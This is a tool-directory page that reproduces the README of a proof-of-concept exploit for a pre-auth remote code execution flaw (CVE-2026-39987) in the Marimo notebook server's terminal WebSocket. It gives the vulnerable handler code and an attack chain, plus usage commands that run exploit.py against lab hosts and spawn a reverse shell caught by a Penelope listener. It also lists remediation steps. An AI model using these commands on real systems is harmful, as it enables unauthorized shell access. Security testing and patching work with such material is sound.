Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39987 — Marimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws. | Kitploit
Tools/GitHubGitHub/gbuyssens/cve-2026-39987
Payload GenerationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRemote Access Tool
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Marimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws.

View Repository
131 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987 — Marimo Pre-Auth RCE (/terminal/ws)

CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Pre-authenticated Remote Code Execution in Marimo, a reactive Python notebook server.
A single unauthenticated WebSocket connection to /terminal/ws yields a full interactive PTY shell as the user running the Marimo process (often root in Docker).

Lab / authorized testing only (HTB, CTF, engagement with written scope).


Table of contents

  • Vulnerability summary
  • Root cause
  • Attack chain
  • Affected versions
  • This repository
  • Install
  • Usage
  • Penelope integration
  • Remediation
  • References

Vulnerability summary

Marimo exposes an integrated terminal over WebSocket at:

ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Other WebSocket routes (notably /ws for the notebook UI) correctly call validate_auth().
/terminal/ws does not. It only checks:

  1. server is in edit mode
  2. platform supports a PTY

then immediately:

await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

No cookie, token, password, or Authorization header is required — even when authentication is enabled on the instance.

Impact: unauthenticated arbitrary command execution with the privileges of the Marimo process. In default container images this is frequently root.


Root cause

File (vulnerable tree): marimo/_server/api/endpoints/terminal.py

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Compare with the notebook WebSocket (ws_endpoint.py), which does enforce auth:

validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Attack chain

 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. Connect to ws(s)://target/terminal/ws without credentials
  2. Server accepts and spawns a PTY-backed shell
  3. Send keystrokes (commands) over the WebSocket
  4. Optionally spawn a detached reverse shell that survives WS teardown

Affected versions

StatusVersions
VulnerableMarimo <= 0.20.4 (pre-fix)
FixedMarimo 0.23.0 and later

Any deployment that exposes the terminal WebSocket (edit mode, PTY supported) without an external auth gateway is in scope.


This repository

FileRole
exploit.pyPoC: command exec + persistent reverse shell + Penelope launcher
penelope.pyStandalone shell handler (brightio/penelope)
README.mdThis file

Install

git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py needs no extra dependencies (Python 3.6+ standard library).


Usage

1. One-shot command execution

python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

What happens:

  1. A forked child waits briefly, then delivers a detached reverse shell via /terminal/ws
  2. The parent process execs Penelope on 0.0.0.0:4444
  3. When the callback hits, Penelope auto-attaches and upgrades the session

If needed

python3 exploit.py -h

Penelope integration

Penelope is bundled as a standalone script (penelope.py):

  • no install, stdlib only
  • multi-session handler
  • automatic TTY upgrade
  • file upload/download, logging, etc.

Default flow (-p):

exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

The child is used on purpose: os.execv(penelope) replaces the parent process image, which would kill a background thread.

Manual Penelope:

python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Remediation

  1. Upgrade to Marimo >= 0.23.0 (pip install -U marimo)
  2. Do not expose edit-mode notebook servers on the public internet
  3. Put authn/authz at a reverse proxy if the app must be remote
  4. Bind to localhost / private network; use VPN or SSH tunnels
  5. After suspected exploitation: rotate credentials reachable from the host (cloud keys, .env, SSH keys), audit outbound connections and persistence

References

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Marimo fix PR #9098
  • Resecurity analysis
  • Penelope shell handler

Disclaimer

This project is for authorized security testing, education, and defensive research only.
You are responsible for complying with applicable laws and the rules of engagement of your lab or client.

Download Tool